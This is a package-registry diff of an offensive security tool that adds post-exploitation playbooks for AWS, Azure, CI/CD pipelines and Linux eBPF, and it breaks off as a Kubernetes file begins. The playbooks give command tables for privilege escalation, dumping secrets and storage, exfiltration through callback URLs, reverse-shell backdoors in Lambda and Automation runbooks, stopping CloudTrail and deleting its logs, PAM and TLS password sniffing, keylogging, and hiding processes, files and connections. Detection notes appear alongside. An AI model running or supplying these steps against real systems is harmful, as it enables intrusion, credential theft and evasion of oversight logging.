@cyberstrike-io/cyberstrike 1.1.14 → 1.1.15-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -7,7 +7,7 @@
7
7
  "scripts": {
8
8
  "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
9
9
  },
10
- "version": "1.1.14",
10
+ "version": "1.1.15-beta.0",
11
11
  "license": "AGPL-3.0-only",
12
12
  "keywords": [
13
13
  "cyberstrike",
@@ -40,16 +40,16 @@
40
40
  "playwright": "1.58.2"
41
41
  },
42
42
  "optionalDependencies": {
43
- "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.14",
44
- "@cyberstrike-io/cyberstrike-windows-x64": "1.1.14",
45
- "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.14",
46
- "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.14",
47
- "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.14",
48
- "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.14",
49
- "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.14",
50
- "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.14",
51
- "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.14",
52
- "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.14",
53
- "@cyberstrike-io/cyberstrike-linux-x64": "1.1.14"
43
+ "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.15-beta.0",
44
+ "@cyberstrike-io/cyberstrike-windows-x64": "1.1.15-beta.0",
45
+ "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.15-beta.0",
46
+ "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.15-beta.0",
47
+ "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.15-beta.0",
48
+ "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.15-beta.0",
49
+ "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.15-beta.0",
50
+ "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.15-beta.0",
51
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.15-beta.0",
52
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.15-beta.0",
53
+ "@cyberstrike-io/cyberstrike-linux-x64": "1.1.15-beta.0"
54
54
  }
55
55
  }
@@ -0,0 +1,120 @@
1
+ ---
2
+ name: aws-postexploit
3
+ description: AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
4
+ category: post-exploitation
5
+ tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence]
6
+ tech_stack: [aws, boto3, python]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
+ chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005]
9
+ prerequisites: [T1078.004, T1552.005]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # AWS Post-Exploitation Methodology
14
+
15
+ AWS post-exploitation uses boto3, the AWS CLI, and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, and SSM for lateral movement.
16
+
17
+ ## Prerequisites
18
+
19
+ Before deploying awshook tools, verify:
20
+
21
+ 1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
22
+ 2. **boto3 installed** — `pip3 install boto3`
23
+ 3. **Current identity** — `aws sts get-caller-identity` to confirm access
24
+ 4. **Region** — set via `--region`, `AWS_DEFAULT_REGION`, or profile config
25
+
26
+ ```bash
27
+ # Quick prerequisite check
28
+ aws sts get-caller-identity # verify credentials work
29
+ aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
30
+ python3 -c "import boto3; print('boto3 OK')" # verify boto3
31
+ ```
32
+
33
+ ## Kill Chain Phases
34
+
35
+ ### Phase 1 — Situational Awareness (First 60 seconds)
36
+
37
+ Understand the AWS environment and current permissions.
38
+
39
+ | Action | Command | Purpose |
40
+ |--------|---------|---------|
41
+ | IAM enumeration | `awshook iam_enum` | Map all users, roles, policies; identify privilege escalation paths |
42
+ | Metadata harvest | `awshook metadata_harvest` | Extract IAM role credentials from EC2/ECS/Lambda metadata |
43
+ | CloudTrail status | `awshook cloudtrail_blind --action status` | Check logging configuration before any noisy operations |
44
+
45
+ ### Phase 2 — Privilege Escalation
46
+
47
+ Exploit IAM misconfigurations to gain higher privileges.
48
+
49
+ | Action | Command | Purpose |
50
+ |--------|---------|---------|
51
+ | PassRole escalation | `awshook iam_privesc --method passrole` | Create Lambda with admin role via iam:PassRole |
52
+ | AssumeRole chain | `awshook iam_privesc --method assumerole --role-arn ARN` | Assume role with broader permissions |
53
+ | Policy attachment | `awshook iam_privesc --method attach_policy` | Attach AdministratorAccess to current user |
54
+ | Access key creation | `awshook iam_privesc --method create_key --target-user USER` | Create new access key for persistence |
55
+
56
+ ### Phase 3 — Data Exfiltration
57
+
58
+ Extract sensitive data from AWS services.
59
+
60
+ | Action | Command | Purpose |
61
+ |--------|---------|---------|
62
+ | S3 dump | `awshook s3_dump` | Find and download sensitive files from all buckets |
63
+ | Secrets extraction | `awshook secrets_dump` | Extract Secrets Manager and SSM Parameter Store values |
64
+ | EBS snapshot | `awshook ec2_snapshot --volume-id VOL_ID` | Snapshot volumes for offline data access |
65
+
66
+ ### Phase 4 — Persistence
67
+
68
+ Establish persistent access to the AWS environment.
69
+
70
+ | Action | Command | Purpose |
71
+ |--------|---------|---------|
72
+ | Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Lambda |
73
+ | SSM execution | `awshook ssm_exec --instance-id ID --command CMD` | Execute commands on EC2 via SSM |
74
+
75
+ ### Phase 5 — Operational Security
76
+
77
+ Reduce detection footprint.
78
+
79
+ | Action | Command | Purpose |
80
+ |--------|---------|---------|
81
+ | Stop CloudTrail | `awshook cloudtrail_blind --action stop` | Stop CloudTrail logging |
82
+ | Delete logs | `awshook cloudtrail_blind --action delete_logs` | Remove existing CloudTrail logs from S3 |
83
+
84
+ ### Phase 6 — Cleanup (MANDATORY)
85
+
86
+ ```
87
+ awshook cleanup_aws
88
+ ```
89
+
90
+ The cleanup tool:
91
+ 1. Restores CloudTrail logging (start_logging on stopped trails)
92
+ 2. Deletes Lambda functions and layers created by lambda_backdoor
93
+ 3. Removes IAM roles, policies, and access keys created by iam_privesc
94
+ 4. Deletes EBS snapshots created by ec2_snapshot
95
+ 5. Cleans the state file (~/.cyberstrike/awshook-state.json)
96
+
97
+ ## Detection Considerations
98
+
99
+ AWS post-exploitation tools are detectable by:
100
+ - **CloudTrail** — All API calls logged (unless blinded). Key events: CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging
101
+ - **GuardDuty** — Anomalous IAM behavior, unusual API calls, credential exfiltration patterns
102
+ - **AWS Config** — Configuration change detection for IAM, Lambda, CloudTrail
103
+ - **IAM Access Analyzer** — External access to resources, unused permissions
104
+ - **Security Hub** — Aggregated findings from GuardDuty, Config, Access Analyzer
105
+ - **S3 Access Logging** — Object-level access logging for data exfiltration detection
106
+
107
+ ## Program Reference
108
+
109
+ | Program | Technique | MITRE ATT&CK |
110
+ |---------|-----------|---------------|
111
+ | iam_enum | IAM user/role/policy enumeration and privesc analysis | T1087.004 — Cloud Account |
112
+ | iam_privesc | IAM privilege escalation via PassRole/AssumeRole/Policy | T1098 — Account Manipulation |
113
+ | s3_dump | S3 bucket data exfiltration | T1530 — Data from Cloud Storage |
114
+ | lambda_backdoor | Lambda function backdoor for persistence | T1525 — Implant Internal Image |
115
+ | ssm_exec | Remote command execution via SSM | T1021.007 — Cloud Services |
116
+ | metadata_harvest | EC2/ECS/Lambda metadata credential extraction | T1552.005 — Cloud Instance Metadata API |
117
+ | cloudtrail_blind | CloudTrail log evasion | T1562.008 — Disable Cloud Logs |
118
+ | secrets_dump | Secrets Manager/Parameter Store extraction | T1555.006 — Cloud Secrets Management Stores |
119
+ | ec2_snapshot | EBS volume snapshot for data access | T1537 — Transfer Data to Cloud Account |
120
+ | cleanup_aws | Resource removal and trail restoration | T1070 — Indicator Removal |
@@ -0,0 +1,86 @@
1
+ ---
2
+ name: azure-postexploit
3
+ description: Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
4
+ category: post-exploitation
5
+ tags: [azure, entra-id, cloud, post-exploitation, keyvault, managed-identity, credential-access, persistence, token-abuse]
6
+ tech_stack: [azure, python, msal, msgraph, requests]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
+ chains_with: [T1078.004, T1552.001, T1098.001, T1550.001, T1528]
9
+ prerequisites: [T1078.004]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # Azure/Entra ID Post-Exploitation Methodology
14
+
15
+ Azure post-exploitation uses Microsoft Graph API, Azure Resource Manager API, and direct IMDS access for tenant enumeration, privilege escalation, secret extraction, and persistence. After compromising Azure credentials or a managed identity, these tools provide comprehensive Entra ID and Azure resource exploitation capabilities.
16
+
17
+ ## Prerequisites
18
+
19
+ 1. **Valid Azure credentials** — service principal, user credentials, managed identity, or access token
20
+ 2. **Python packages** — `pip3 install requests msal azure-identity azure-keyvault-secrets azure-storage-blob`
21
+ 3. **Current identity** — verify access via `az account show` or Graph API /me endpoint
22
+
23
+ ```bash
24
+ # Quick prerequisite check
25
+ az account show # verify Azure CLI credentials
26
+ python3 -c "import requests; print('OK')" # verify requests
27
+ curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null && echo "IMDS available"
28
+ ```
29
+
30
+ ## Kill Chain Phases
31
+
32
+ ### Phase 1 — Situational Awareness
33
+
34
+ | Action | Command | Purpose |
35
+ |--------|---------|---------|
36
+ | Entra ID enum | `azurehook entra_enum` | Enumerate users, groups, apps, SPs, conditional access |
37
+ | Managed identity | `azurehook managed_identity` | Extract managed identity tokens from VM/App Service |
38
+
39
+ ### Phase 2 — Privilege Escalation
40
+
41
+ | Action | Command | Purpose |
42
+ |--------|---------|---------|
43
+ | Consent grant | `azurehook entra_privesc --method consent_grant` | Illicit consent grant for Directory.ReadWrite.All |
44
+ | PIM activation | `azurehook entra_privesc --method pim_activate` | Activate eligible Global Administrator role |
45
+ | SP secret | `azurehook entra_privesc --method sp_secret` | Add client secret to existing service principal |
46
+
47
+ ### Phase 3 — Data Exfiltration
48
+
49
+ | Action | Command | Purpose |
50
+ |--------|---------|---------|
51
+ | Key Vault dump | `azurehook keyvault_dump` | Extract secrets, keys, certificates from Key Vaults |
52
+ | Storage dump | `azurehook storage_dump` | Download sensitive data from Blob Storage |
53
+ | Token abuse | `azurehook azuread_token --action foci` | Use FOCI to get tokens for multiple services |
54
+
55
+ ### Phase 4 — Persistence
56
+
57
+ | Action | Command | Purpose |
58
+ |--------|---------|---------|
59
+ | Runbook backdoor | `azurehook runbook_backdoor --automation-account NAME --resource-group RG` | Create Automation runbook with reverse shell |
60
+
61
+ ### Phase 5 — Cleanup (MANDATORY)
62
+
63
+ ```
64
+ azurehook cleanup_azure
65
+ ```
66
+
67
+ ## Detection Considerations
68
+
69
+ - **Azure Activity Log** — All ARM API calls, role assignments, resource creation
70
+ - **Entra ID Audit Logs** — App consent grants, credential additions, role activations
71
+ - **Microsoft Defender for Cloud** — Anomalous resource access, privilege escalation
72
+ - **Conditional Access** — Untrusted location/device blocks
73
+ - **Azure Sentinel** — UEBA, anomalous sign-in patterns, bulk data access
74
+
75
+ ## Program Reference
76
+
77
+ | Program | Technique | MITRE ATT&CK |
78
+ |---------|-----------|---------------|
79
+ | entra_enum | Entra ID tenant enumeration | T1087.004 — Cloud Account |
80
+ | entra_privesc | Privilege escalation via consent/PIM/SP | T1098.001 — Additional Cloud Credentials |
81
+ | keyvault_dump | Key Vault secret extraction | T1555.006 — Cloud Secrets Management Stores |
82
+ | storage_dump | Azure Storage data exfiltration | T1530 — Data from Cloud Storage |
83
+ | managed_identity | Managed identity token harvest | T1552.005 — Cloud Instance Metadata API |
84
+ | runbook_backdoor | Automation Account persistence | T1525 — Implant Internal Image |
85
+ | azuread_token | Token manipulation and FOCI abuse | T1550.001 — Application Access Token |
86
+ | cleanup_azure | Resource removal and restoration | T1070 — Indicator Removal |
@@ -0,0 +1,81 @@
1
+ ---
2
+ name: cicd-attacks
3
+ description: CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
4
+ category: post-exploitation
5
+ tags: [cicd, github-actions, jenkins, gitlab, pipeline, supply-chain, secret-extraction, credential-access]
6
+ tech_stack: [github, jenkins, gitlab, python, requests]
7
+ cwe_ids: [CWE-522, CWE-693, CWE-829, CWE-284]
8
+ chains_with: [T1195.002, T1552.004, T1059, T1098]
9
+ prerequisites: [T1078]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # CI/CD Pipeline Attack Methodology
14
+
15
+ CI/CD pipeline attacks target the software delivery infrastructure to extract secrets, inject malicious code, and establish persistence. After gaining access to GitHub, Jenkins, or GitLab, these tools extract stored credentials, inject pipeline steps for secret exfiltration, and manipulate workflow configurations.
16
+
17
+ ## Prerequisites
18
+
19
+ 1. **CI/CD access** — API token, personal access token, or service account credentials
20
+ 2. **Python packages** — `pip3 install requests`
21
+ 3. **API access** — Valid token with appropriate scopes (repo, admin, workflow)
22
+
23
+ ```bash
24
+ # Quick prerequisite check — GitHub
25
+ curl -s -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/user | jq .login
26
+
27
+ # Quick prerequisite check — Jenkins
28
+ curl -s -u "$JENKINS_USER:$JENKINS_TOKEN" "$JENKINS_URL/api/json" | jq .nodeDescription
29
+
30
+ # Quick prerequisite check — GitLab
31
+ curl -s -H "Private-Token: $GITLAB_TOKEN" "$GITLAB_URL/api/v4/user" | jq .username
32
+ ```
33
+
34
+ ## Kill Chain Phases
35
+
36
+ ### Phase 1 — Reconnaissance
37
+
38
+ | Action | Command | Purpose |
39
+ |--------|---------|---------|
40
+ | List GitHub secrets | `cipipe gh_secrets --repo OWNER/REPO --method list` | Enumerate repository and environment secret names |
41
+ | Jenkins credentials | `cipipe jenkins_creds --url URL --method api` | List credential store entries |
42
+ | GitLab variables | `cipipe gitlab_tokens --url URL --project-id ID` | Enumerate CI/CD variables and tokens |
43
+
44
+ ### Phase 2 — Secret Extraction
45
+
46
+ | Action | Command | Purpose |
47
+ |--------|---------|---------|
48
+ | GitHub dispatch | `cipipe gh_secrets --repo OWNER/REPO --method dispatch --callback-url URL` | Exfiltrate secrets via workflow dispatch |
49
+ | Jenkins console | `cipipe jenkins_creds --url URL --method console` | Extract credentials via Groovy Script Console |
50
+ | GitHub logs | `cipipe gh_secrets --repo OWNER/REPO --method logs` | Search workflow logs for leaked secrets |
51
+
52
+ ### Phase 3 — Pipeline Injection
53
+
54
+ | Action | Command | Purpose |
55
+ |--------|---------|---------|
56
+ | Inject pipeline | `cipipe pipeline_inject --repo OWNER/REPO --callback-url URL` | Add exfiltration step to CI/CD pipeline |
57
+
58
+ ### Phase 4 — Cleanup (MANDATORY)
59
+
60
+ ```
61
+ cipipe cleanup_ci
62
+ ```
63
+
64
+ ## Detection Considerations
65
+
66
+ - **GitHub Audit Log** — Workflow creation, secret access, branch creation
67
+ - **Jenkins Audit Trail Plugin** — Script console access, credential reads
68
+ - **GitLab Audit Events** — Variable access, runner token reads, pipeline modifications
69
+ - **Branch Protection Rules** — Prevent direct push to main/protected branches
70
+ - **Required Reviews** — PR approval requirements block unauthorized workflow changes
71
+ - **Secret Scanning** — GitHub/GitLab native scanning for leaked credentials
72
+
73
+ ## Program Reference
74
+
75
+ | Program | Technique | MITRE ATT&CK |
76
+ |---------|-----------|---------------|
77
+ | gh_secrets | GitHub Actions secret extraction | T1552.004 — Private Keys |
78
+ | jenkins_creds | Jenkins credential dump | T1555 — Credentials from Password Stores |
79
+ | pipeline_inject | CI/CD pipeline injection | T1195.002 — Compromise Software Supply Chain |
80
+ | gitlab_tokens | GitLab CI/CD variable extraction | T1552.004 — Private Keys |
81
+ | cleanup_ci | Pipeline modification rollback | T1070 — Indicator Removal |
@@ -0,0 +1,184 @@
1
+ ---
2
+ name: ebpf-attacks
3
+ description: eBPF-based post-exploitation for kernel-level credential harvesting, process hiding, and traffic interception on Linux
4
+ category: post-exploitation
5
+ tags: [ebpf, bpf, kernel, post-exploitation, credential-access, defense-evasion, persistence, linux, rootkit]
6
+ tech_stack: [linux, ebpf, kernel, bcc]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693]
8
+ chains_with: [T1014, T1055, T1556, T1205.002, T1003, T1059.004]
9
+ prerequisites: [T1068, T1548]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # eBPF Post-Exploitation Methodology
14
+
15
+ eBPF (Extended Berkeley Packet Filter) enables kernel-level instrumentation without loading kernel modules. After gaining root on a Linux target, eBPF programs can intercept system calls, userspace function calls, and network traffic — operating below userland monitoring tools.
16
+
17
+ ## Prerequisites
18
+
19
+ Before deploying eBPF tools, verify:
20
+
21
+ 1. **Root access** — all eBPF operations require `CAP_SYS_ADMIN` or `CAP_BPF`
22
+ 2. **Kernel version** — Linux 4.18+ for full BPF features, 5.8+ for BPF ring buffer
23
+ 3. **BCC installed** — `python3 -c "from bcc import BPF"` must succeed on target
24
+ 4. **No BPF LSM** — check `cat /sys/kernel/security/lsm` for bpf restrictions
25
+
26
+ ```bash
27
+ # Quick prerequisite check
28
+ uname -r # kernel version
29
+ cat /proc/config.gz | zcat | grep CONFIG_BPF # BPF config
30
+ ls /sys/fs/bpf/ # BPF filesystem mounted
31
+ python3 -c "from bcc import BPF; print('OK')" # BCC available
32
+ ```
33
+
34
+ ## Kill Chain Phases
35
+
36
+ ### Phase 1 — Situational Awareness (First 60 seconds)
37
+
38
+ Understand the environment before deploying persistent hooks.
39
+
40
+ | Action | Command | Purpose |
41
+ |--------|---------|---------|
42
+ | Scan dependencies | `ebpf dep_scan` | Map all loaded libraries across all processes |
43
+ | Vuln check | `ebpf dep_scan --json-output` | Identify vulnerable library versions |
44
+ | Monitor executions | `ebpf execve_sniff --duration 30` | Understand what runs on the system — cron, services, monitoring |
45
+ | DNS baseline | `ebpf dns_sniff --duration 30` | Map DNS activity — identify internal services, C2 detection |
46
+
47
+ ### Phase 2 — Credential Harvesting
48
+
49
+ Intercept credentials at the kernel level — no file modification, no log entries.
50
+
51
+ | Action | Command | Purpose |
52
+ |--------|---------|---------|
53
+ | PAM interception | `ebpf pam_sniff --duration 300` | Capture SSH, sudo, su, login passwords in cleartext |
54
+ | TLS interception | `ebpf ssl_sniff --pid <PID>` | Capture HTTPS plaintext for a specific service |
55
+ | Keystroke capture | `ebpf keylog --duration 120` | Capture interactive terminal input from TTY sessions |
56
+
57
+ **PAM sniffing** hooks `pam_get_authtok` in `libpam.so` via uprobe. Every authentication event (SSH login, sudo, su, screen unlock) passes through PAM — the cleartext password is captured before hashing.
58
+
59
+ **SSL sniffing** hooks `SSL_write` and `SSL_read` in `libssl.so`. Data is captured in plaintext before encryption (write) and after decryption (read). Use `--pid` to target a specific process (e.g., a web application handling API keys).
60
+
61
+ **Keystroke logging** hooks `sys_read` on TTY file descriptors (`/dev/tty*`, `/dev/pts/*`). Captures all interactive terminal input including passwords typed in non-echo mode.
62
+
63
+ ### Phase 3 — Stealth Operations
64
+
65
+ Hide your presence from system administrators and monitoring tools.
66
+
67
+ | Action | Command | Purpose |
68
+ |--------|---------|---------|
69
+ | Hide process | `ebpf proc_hide --pid <PID>` | Remove process from ps, top, htop, /proc listing |
70
+ | Hide files | `ebpf file_hide --name <NAME>` | Remove file/directory from ls, find, directory listings |
71
+ | Hide connections | `ebpf conn_hide --port <PORT>` | Remove network connection from netstat, ss, /proc/net/tcp |
72
+
73
+ **Process hiding** hooks `sys_getdents64` on `/proc`. When the kernel returns directory entries, entries matching the target PID are overwritten with `.` — the process becomes invisible to all userland tools that enumerate `/proc`.
74
+
75
+ **File hiding** uses the same `sys_getdents64` hook but matches against a filename instead of a PID. Effective for hiding implants, scripts, and data exfiltration staging directories.
76
+
77
+ **Connection hiding** hooks `sys_read` on `/proc/net/tcp` and `/proc/net/tcp6`. When a monitoring tool reads the connection table, lines containing the target port are overwritten with spaces.
78
+
79
+ ### Phase 4 — Blind Spot Detection (20 monitors)
80
+
81
+ Detect attack primitives that bypass classical syscall hooks and operate through kernel subsystems invisible to standard monitoring.
82
+
83
+ | Action | Command | Purpose |
84
+ |--------|---------|---------|
85
+ | io_uring bypass | `ebpf io_uring_sniff --duration 60` | Detect file/socket/connect operations via io_uring that bypass syscall hooks (kernel 5.1+) |
86
+ | Fileless execution | `ebpf memfd_exec --duration 60` | Detect memfd_create + execveat diskless payload delivery chains |
87
+ | ptrace injection | `ebpf ptrace_sniff --duration 60` | Monitor ATTACH → POKEDATA → SETREGS shellcode injection sequences |
88
+ | Cross-process memory | `ebpf crossmem_sniff --duration 60` | Detect stealthy process_vm_writev/readv memory injection |
89
+ | Race condition exploits | `ebpf userfaultfd_sniff --duration 60` | Detect userfaultfd-based timing control primitives |
90
+ | BPF integrity | `ebpf bpf_integrity --baseline --duration 300` | Verify CyberStrike hook integrity, detect unauthorized BPF program loads |
91
+ | Netlink manipulation | `ebpf netlink_sniff --duration 60` | Detect stealthy route/firewall rule manipulation via netlink |
92
+ | Sandbox weakening | `ebpf seccomp_sniff --duration 60` | Detect processes disabling their own seccomp/prctl security profiles |
93
+ | Shared memory IPC | `ebpf mmap_sniff --duration 60` | Detect covert IPC via mmap MAP_SHARED, shmget, shmat — data flows without syscalls |
94
+ | Zero-copy transfers | `ebpf zerocopy_sniff --duration 60` | Detect splice/tee/sendfile64 fd-to-fd transfers invisible to buffer profilers |
95
+ | VDSO tampering | `ebpf vdso_sniff --duration 60` | Detect timing side-channels and VDSO page modification attacks |
96
+ | Kernel keyring abuse | `ebpf keyring_sniff --duration 60` | Detect credential storage in kernel keyring (add_key/keyctl) |
97
+ | Namespace escape | `ebpf namespace_sniff --duration 60` | Detect container escape via setns/unshare namespace pivoting |
98
+ | Terminal injection | `ebpf ioctl_sniff --duration 60` | Detect TIOCSTI keystroke injection and terminal manipulation |
99
+ | Mount manipulation | `ebpf mount_sniff --duration 60` | Detect overlay/bind mounts hiding changes on sensitive paths |
100
+ | FUSE hijacking | `ebpf fuse_sniff --duration 60` | Detect userspace filesystem mounting that bypasses kernel VFS |
101
+ | Perf side-channel | `ebpf perf_sniff --duration 60` | Detect perf_event_open side-channel attacks via HW counters |
102
+ | BPF map covert channel | `ebpf bpfmap_sniff --duration 60` | Detect covert data sharing via BPF map create/update operations |
103
+ | LD_PRELOAD injection | `ebpf ldpreload_sniff --duration 60` | Detect library injection via LD_PRELOAD env and ld.so config |
104
+ | Futex covert channel | `ebpf futex_sniff --duration 60` | Detect timing-based covert channels via futex WAIT/WAKE |
105
+
106
+ **io_uring sniffing** monitors SQE submissions via `io_uring_submit_sqe` kprobe. Operations like CONNECT, READ, WRITE, OPENAT through io_uring bypass classical syscall hooks entirely — a reverse shell built on io_uring is invisible to execve/connect tracepoints.
107
+
108
+ **Fileless execution detection** correlates `memfd_create` → `write` → `execveat(fd, "", AT_EMPTY_PATH)` chains. The payload never touches disk — it exists only in memory via memfd. This is the primary technique for diskless implant delivery.
109
+
110
+ **ptrace injection monitoring** tracks the ATTACH → POKEDATA → SETREGS → CONT sequence that constitutes shellcode injection. Each ptrace operation is logged with target PID and memory addresses.
111
+
112
+ **Cross-process memory monitoring** captures `process_vm_writev`/`process_vm_readv` syscalls. These enable memory injection without ptrace — bypassing ptrace-based detection entirely.
113
+
114
+ **userfaultfd monitoring** detects creation of userfaultfd file descriptors. Legitimate use is rare (QEMU/KVM live migration); in exploit context, userfaultfd provides precise timing control for race condition exploitation.
115
+
116
+ **BPF integrity verification** takes a baseline of loaded BPF programs via `bpftool` and periodically verifies no CyberStrike programs have been detached or tampered with. Also monitors `bpf()` syscall for unauthorized program loads.
117
+
118
+ **Netlink monitoring** captures netlink socket messages for NEWROUTE, DELROUTE, NEWRULE, DELRULE operations — detecting stealthy routing table and firewall rule manipulation.
119
+
120
+ **Seccomp/prctl monitoring** captures PR_SET_SECCOMP, PR_SET_NO_NEW_PRIVS, PR_SET_NAME, PR_SET_DUMPABLE, and seccomp filter installation — detecting processes weakening their own security profiles or masquerading via name changes.
121
+
122
+ ### Phase 5 — Cleanup (MANDATORY)
123
+
124
+ Always run cleanup before exiting a target.
125
+
126
+ ```bash
127
+ # List all CyberStrike eBPF programs on the system
128
+ ebpf cleanup
129
+
130
+ # Remove all CyberStrike eBPF programs
131
+ ebpf cleanup --remove --force
132
+
133
+ # Dry run — show what would be removed
134
+ ebpf cleanup --dry-run
135
+ ```
136
+
137
+ The cleanup tool uses three detection methods:
138
+ 1. `bpftool prog list` — enumerate all loaded BPF programs
139
+ 2. `/sys/fs/bpf/` — check for pinned programs
140
+ 3. `/sys/kernel/debug/tracing/` — check for registered kprobe/uprobe events
141
+
142
+ ## Detection Considerations
143
+
144
+ eBPF programs are detectable by:
145
+ - `bpftool prog list` — shows all loaded BPF programs
146
+ - `/sys/kernel/debug/tracing/kprobe_events` — shows registered kprobes
147
+ - `/sys/kernel/debug/tracing/uprobe_events` — shows registered uprobes
148
+ - `auditd` rules on `bpf()` syscall — `auditctl -a always,exit -F arch=b64 -S bpf`
149
+ - EDR agents with BPF LSM hooks (Falco, Tracee, Tetragon)
150
+
151
+ ## Program Reference
152
+
153
+ | Program | Hook Type | Target | MITRE ATT&CK |
154
+ |---------|-----------|--------|---------------|
155
+ | pam_sniff | uprobe | `pam_get_authtok` in libpam.so | T1556 — Modify Authentication Process |
156
+ | ssl_sniff | uprobe | `SSL_write`/`SSL_read` in libssl.so | T1040 — Network Sniffing |
157
+ | dep_scan | procfs | `/proc/<pid>/maps` | T1518 — Software Discovery |
158
+ | proc_hide | kprobe | `sys_getdents64` on /proc | T1014 — Rootkit |
159
+ | file_hide | kprobe | `sys_getdents64` | T1014 — Rootkit |
160
+ | conn_hide | kprobe | `sys_read` on /proc/net/tcp | T1014 — Rootkit |
161
+ | execve_sniff | tracepoint | `sys_execve` | T1057 — Process Discovery |
162
+ | dns_sniff | kprobe | `udp_sendmsg` port 53 | T1071.004 — DNS Application Layer Protocol |
163
+ | keylog | kprobe | `sys_read` on TTY fds | T1056.001 — Keylogging |
164
+ | cleanup | bpftool | BPF programs/maps | — |
165
+ | io_uring_sniff | kprobe | `io_uring_submit_sqe` | T1014 — Rootkit (syscall bypass) |
166
+ | memfd_exec | tracepoint | `memfd_create` + `execveat` | T1620 — Reflective Code Loading |
167
+ | ptrace_sniff | tracepoint | `sys_enter_ptrace` | T1055.008 — Ptrace System Calls |
168
+ | crossmem_sniff | tracepoint | `process_vm_writev`/`readv` | T1055.012 — Process Hollowing |
169
+ | userfaultfd_sniff | tracepoint | `sys_enter_userfaultfd` | T1068 — Exploitation for Privilege Escalation |
170
+ | bpf_integrity | tracepoint | `sys_enter_bpf` + bpftool | T1553 — Subvert Trust Controls |
171
+ | netlink_sniff | kprobe | `netlink_sendmsg` | T1562.004 — Disable or Modify System Firewall |
172
+ | seccomp_sniff | tracepoint | `sys_enter_prctl` + `sys_enter_seccomp` | T1562.001 — Disable or Modify Tools |
173
+ | mmap_sniff | tracepoint | `sys_enter_mmap` + `sys_enter_shmget` + `sys_enter_shmat` | T1055.009 — Proc Memory (shared memory IPC) |
174
+ | zerocopy_sniff | tracepoint | `sys_enter_splice` + `sys_enter_tee` + `sys_enter_sendfile64` | T1041 — Exfiltration Over C2 Channel |
175
+ | vdso_sniff | tracepoint | `sys_enter_clock_gettime` + `sys_enter_mprotect` | T1497.003 — Time Based Evasion |
176
+ | keyring_sniff | tracepoint | `sys_enter_add_key` + `sys_enter_keyctl` + `sys_enter_request_key` | T1003 — OS Credential Dumping |
177
+ | namespace_sniff | tracepoint | `sys_enter_setns` + `sys_enter_unshare` | T1611 — Escape to Host |
178
+ | ioctl_sniff | tracepoint | `sys_enter_ioctl` (TIOCSTI/TIOCLINUX/TIOCSCTTY) | T1056.001 — Keylogging |
179
+ | mount_sniff | tracepoint | `sys_enter_mount` + `sys_enter_umount` | T1006 — Direct Volume Access |
180
+ | fuse_sniff | tracepoint | `sys_enter_openat` (/dev/fuse) + `sys_enter_mount` (fuse) | T1014 — Rootkit |
181
+ | perf_sniff | tracepoint | `sys_enter_perf_event_open` | T1497.003 — Time Based Evasion |
182
+ | bpfmap_sniff | tracepoint | `sys_enter_bpf` (MAP_CREATE/UPDATE/LOOKUP/DELETE) | T1071 — Application Layer Protocol |
183
+ | ldpreload_sniff | tracepoint | `sys_enter_execve` (env scan) + `sys_enter_openat` (ld.so) | T1574.006 — Dynamic Linker Hijacking |
184
+ | futex_sniff | tracepoint | `sys_enter_futex` (WAIT/WAKE/BITSET/PI) | T1029 — Scheduled Transfer |
@@ -0,0 +1,85 @@
1
+ ---
2
+ name: k8s-postexploit
3
+ description: Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
4
+ category: post-exploitation
5
+ tags: [kubernetes, k8s, container, post-exploitation, rbac, escape, etcd, secrets, daemonset, cronjob]
6
+ tech_stack: [kubernetes, python, etcd]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-250]
8
+ chains_with: [T1611, T1552.007, T1613, T1610, T1053.007]
9
+ prerequisites: [T1610, T1078]
10
+ version: "1.0"
11
+ ---
12
+
13
+ # Kubernetes Post-Exploitation Methodology
14
+
15
